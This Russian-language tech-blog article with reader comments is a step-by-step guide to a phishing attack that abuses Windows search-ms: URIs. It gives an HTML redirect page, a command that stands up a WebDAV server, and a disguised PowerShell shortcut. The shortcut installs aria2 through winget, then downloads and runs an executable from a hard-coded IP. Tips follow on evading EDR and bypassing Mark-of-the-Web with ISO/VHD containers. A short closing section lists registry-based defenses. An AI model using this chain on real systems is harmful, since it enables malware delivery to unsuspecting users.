image


Хабр, уже по сложившейся традиции сегодня мы разберем одну из интересных APT-атак на пользователей, в которой используется не стандартный способ доставки, маскировки, а также заражения системы с обходом EPP и EDR! Данный материал будет полезен сотрудникам SOC, TI-экспертам, Pentest и Threat Hunting — специалистам. 


Дисклеймер! Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.


Шаг 0. Концепция атаки


Классически доставка первого этапа осуществляется обыденными способами: почта, мессенджеры, брошенные флешки и т.д. Передаваемых через них файлы давно под подозрением и СЗИ (средства защиты информации) обычно блокируют их, используя статический и динамический анализы. Однако данная атака завязана на особенности работы проводника Windows, а точнее эксплуатации сервиса ms-search, которого можно заставить искать вредоносные файлы на стороннем сервере.


Ожидаемое поведение от ms-search, при поиске .exe файлов:


image


Обращение к сервису с использованием строки аргументов:


search-ms:displayname=Search Results in Data (D:)&crumb=fileextension:~<.exe OR System.Generic.String:.exe&crumb=location:D:\


Сервису search-ms переданы аргументы для поиска файлов, которые подробно рассмотрим ниже:


  • displayname отобразит любой текст в строке для уведомления пользователя о локации поиска;
  • аргумент crumb позволит определить фильтры и место поиска;
  • query, также может быть использован для фильтрации данных.

Зловредное обращение выглядит следующим образом:


search-ms:query=.exe&crumb=location:\\95.173.18.16\DavWWWRoot\&displayname=Update


image


Используя параметр query, фильтруются файлы по маске .exe, а параметр crumb через UNC — пути определяет доступ до сервера, на котором уже и хранится вредоносное ПО. Microsoft частично позаботились о безопасности таких файлов и на каждый материал, полученный из сети ставит метку в альтернативном потоке данных MOTW, который считывается, при открытии и отображается в виде предупреждения.


image


Однако данный механизм все равно сложен и подозрителен для конечного пользователя, минимально подготовленный сотрудник уже в курсе, что он вряд ли найдет в файле формата .exe, что полезное для себя. Усовершенствовав данных механизм, получилась следующая схема атаки на пользователя в рамках учений, данный материал также может использоваться в рамках “Антифишинг учений”.


image


Для доставки вредоносного запроса ms-search используются URL-схемы, замаскировав их под кнопку на сайте или иной элемент. Схема позволяет обратиться к стороннему серверу, где уже подготовлен вредонос заражения — первого этапа. Не приметный файл формата “pdf” запускается пользователем, под видом загруженного и реализует скачивание второго этапа с основным ядром вредоноса. После чего система заражена, рассмотрим это на практике.


Шаг 1. Этап доставки


На данном этапе собираются файлы доставки и поднимается инфраструктура, в которой будет находиться пользователь в момент заражения. Так же необходимо учесть особенности работы информационно вычислительной сети и СЗИ, которые могут детектировать вредоносную активность. 


Relay-сервер


Для реализации доставки необходимо поднять сервер, к которому будет происходить обращение от клиента и поиск вредоносного файла на нем. Требованиями к данному этапу являются:


  • отсутствие аутентификации с целью упрощения пути заражения; 
  • ограничения доступа на редактирование другими лицами;
  • близко доступность сервиса до клиента.

Последний пункт обусловлен недостатком данного метода доставки, так как для работы поднимается служба со стороны клиента и только затем обращается к серверу, направляя запросы Propfind, Get. Все это может занять время от 10 до 15 секунд, в то время как у клиента это будет выглядеть, будто зависшее приложение. В качестве ПО возьмем WsgiDav-сервер написанный на Python и поднимем командой:


wsgidav --host 0.0.0.0 --port 80 --root /tmp/Minfin --auth anonymous


image


Укажем доступность сервера с любого интерфейса, стандартный порт 80 и корневую папку, в которой будет храниться вредонос первого этапа, а также параметр анонимной аутентификации. По умолчанию, корневая папка редактируется, однако, данный пункт можно изменить в конфигурации сервера. Перейдем к URL и рассмотрим способы доставки.


Запакованный URL


Для доставки зараженной ссылки пользователю, обычно используют письма с замаскированными элементами. К примеру, не навязчивое письмо с возможностью индексации ЗП сотрудника, с кнопкой содержащей ссылку снизу.


image


Однако обратите внимание, что URL-схемы есть у браузера, а не у почты поэтому возможность обратиться через письмо напрямую не получится, для этого необходимо также поднять веб-сервер. На которой уже произойдет редирект по схеме. 


Необходимо также выбрать корректный тег для HTML, ведь большинство почтовых клиентов научились детектировать фишинговые письма. Submit и кнопки по действию JS не подойдут, так как помечаются вредоносными или сам язык JS не поддерживается почтой. В таком случае привычный button Данный файл может иметь следующий примерный вид:


<html lang="en"><head><meta charset="UTF-8"/><meta http-equiv="refresh" content="2; url=search-ms:query=.lnk&amp;crumb=location:\\93.183.72.112\DavWWWRoot\&amp;displayname=Update"/<title>Redirecting...</title></html>


Далее пользователю предложат открыть проводник и продолжить работу в нем.


image


После чего произойдет обращение к WebDav серверу и откроется отфильтрованное содержимое корневой папки ресурса обращения.


Шаг 2. Этап заражения 


Классические варианты тайпсквотинга, управляющих символов давно уже никого не удивят, а EPP и EDR решения запросто распознают популярные паттерны по Yara-правилам или динамическому анализу. Соответственно, необходимо использовать иное решение, которое не вызовет подозрений у пользователя. 


Так как к серверу мы подключаемся через клиент — проводник, то и отображение элементов происходит по правилам файла desktop.ini. Это значит, что в данном случае возможно использование токсичных ярлыков с открытием PowerShell. 


Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься интерпретатор. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а замаскироваться и загрузить второй с дальнейшим запуском, то необходимо маскировать обращение к северу. Для этого создадим обычный ярлык с путем к PS.


image


Выберем подходящую иконку для маскировки.


image


После необходимо начинить его логикой, де факто сейчас есть доступ к оболочке, а соответственно и возможность управления устройством относительно прав клиента, на котором запущено приложение. Обычно это пользователи без прав, но и этого вполне достаточно, чтобы открывать соединения и проводить изменения на устройстве. При составлении логики стоит исходить из:


  • Ограничений строки по символам;
  • Отказ от системных папок требующий права админа, а также утилит;
  • Малого размера файла эксплойта;
  • Маскировка под легитимный процесс;
  • Скрытие окон.

Если выбрать стандартную утилиту или объект для работы, Network object, Invoke Request, Bit-Transfer, то по поведенческому анализу сразу блокируется соединение и файл отправляется в карантин.


image


Соответственно необходимо использовать встроенные утилиты, которые будут на большинстве устройств, чтобы замаскироваться под легитимные процессы. К примеру, отлично подойдет winget — пакетный менеджер, который устанавливает сетевые соединения и скачивает необходимое ПО. 


Без прав администратора не получится указать новый ресурс и напрямую скачать вредоносный пакет, поэтому необходимо найти утилиту, которая будет устанавливаться и работать без прав администратора. А также функционально предназначенная на скачивание по протоколам HTTP. Одной из таких оказалась aria2 утилита с открытым исходным кодом, которая позволит загрузить вредонос. 


Составим логику работы первого эксплойта:


Установка утилиты -> Обновление переменных сред -> Скачивание вредоноса -> Запуск второго этапа заражения


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe winget install aria2.aria2 -h;.(echo $PSHOME'\powershell.exe')'aria2c http://93.183.72.112/assets/120.exe';.\120.exe


Главная особенность строк кода заключалась в вызове чистой оболочки скрипта для обновления переменных сред, так как обратиться к утилите без этого сложно. Достаточно веская причина не использовать абсолютный путь — это ограничение по символам в строке пути ярлыка.


Логика работы реализована просто, без масок в названии файлов или каких либо альтернативных способов скрыться от сигнатурного, либо поведенческого анализа, так как используемые утилиты легитимны в системе. 


image


Проверим файл на сработки антивируса и заметим, что всего 4 сработки! А если использовать домен вместо Ip-адреса и протокол https вместо http, то возможно их станет еще меньше.


image


Осталось добавить любой бинарный файл или инструкции на сервер по адресу http://93.183.72.112/assets/ с названием 120.exe, а также вредонос первого этапа. В данном решении сохраняется MOTW метка и пользователь будет предупрежден о файле. Для того чтобы ее не было можно использовать любой файл, который не поддерживает MOTW и уже в него имплементировать код. Или можно использовать ПО, которые не распространяют MotW, как некоторые движки программирования вроде Java, Python, Ruby, а так же непосредственно Microsoft's Visual Studio.


image


Но еще и файлы формата iso и vhd вообще их не поддерживают, так как метка ставится в файловой системе альтернативным потоком. А данное решение формата файла iso или vhd может содержать любую другую файловую систему, которая смонтируется в ОС. 


Шаг 3. Меры предотвращения атаки для сотрудников ИБ


Данная атака представляет собой линейный сценарий реализации, поэтому для нейтрализации вектора достаточно меры запрета открытия ms-search протокола через браузер, путём удаления ключей реестра. В Windows ключи HKEY_CLASSES_ROOT используются для хранения ассоциаций файловых типов и протоколов с приложениями. 


Именно среди них необходимо найти ассоциации с ms-search и search. Удаление ключей реестра, связанных с этими протоколами, приводит к тому, что операционная система и приложения больше не смогут использовать их для выполнения соответствующих действий. Это эффективно блокирует доступ к этим протоколам, предотвращая их использование, например, веб-браузерами. Выполните команды для предотвращения атаки:


reg delete HKEY_CLASSES_ROOT\search /f; reg delete HKEY_CLASSES_ROOT\search-ms /f


Особое внимание в данной цепочке стоит уделить URL схемам, так как ассоциаций протоколов и приложений большое множество.


image


Вполне возможен и иной вектор атаки через вредоносную ссылку в браузере по отношению к системному ПО, в том числе и офисным приложениям. По умолчанию, доступен даже Excel, поэтому чисто теоретически возможен запуск файла Excel просто по нажатию ссылки.


ms-excel:ofv|u|http://10.0.0.3/Book1.xlsx


Или подобный описанному ранее вектор, но уже с использованием SFTP протокола для передачи.


image


Вопрос безопасности URL-схем остается открытым, так как это явный вектор атаки с достаточно коротким путем для нарушителя в систему. Для нейтрализации подобного можно использовать, как радикальные меры — удаления ассоциаций протоколов, так и внедрения правил на SIEM, EPP, EDR, SOAR детекции и реагирования обращений к реестру важных ключей. 


К сожалению, вендоры не всегда торопятся исправлять уязвимости системы, поэтому достаточно важно проводить собственные research и анализ защищенности инфраструктуры, а также не забывать про Vulnerability Management.


Статья поддерживается командой Serverspace.

Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.

IT-инфраструктура | Кешбэк 17% по коду HABR

Комментарии (4)


  1. fat_dude
    13.07.2024 05:50

    В винде нынче есть curl.exe, который не алиас, а который прям curl, даже ставить ничего не надо. По информаци на начало года, по крайней мере встроенные средства ничего не блокировали.


    1. an1ik Автор
      13.07.2024 05:50

      К сожалению, ничего не нашел в документации по этому поводу. По крайней мере, в моем билде 22621.3880 Win 11 и Win 10 такой утилиты нет. Если предположить, что она появилась недавно, то в контексте массовой атаки цель нарушителя захватить больше конечных точек и узлов. А если ПО появилось недавно, то и реализовать атаку можно будет на небольшом количестве устройств по сравнению с "старым ПО". Для этого в примере и используем PS v1.


      1. slavius
        13.07.2024 05:50
        +1

        На Microsoft Windows [Version 10.0.19044.2846] есть curl.

        Доустанавливал в компонентах .NetFramework 3.5, но не ставил WSL

        Ну и техника для поиска как инструмент неожиданно, спасибо.

        Ну а по поводу защиты была хорошая статья по Software Restriction Policies - не должно быть прав запуска из областей доступных для записи + разрешенные приложения.


        1. an1ik Автор
          13.07.2024 05:50

          Да, вы правы, так же нашел утилиту в недрах директории. Касаемо контроля приложений, чем больше организация, тем сложнее настроить "белые списки" для ПО. Тут скорее зависит от размеров компании, но в идеале, конечно можно и поднять еще свои репозитории с безопасным ПО. Но в основном контроль запуска и работы приложений лежит на EPP. А идея "не должно быть прав запуска из областей доступных для записи ", кажется интересной !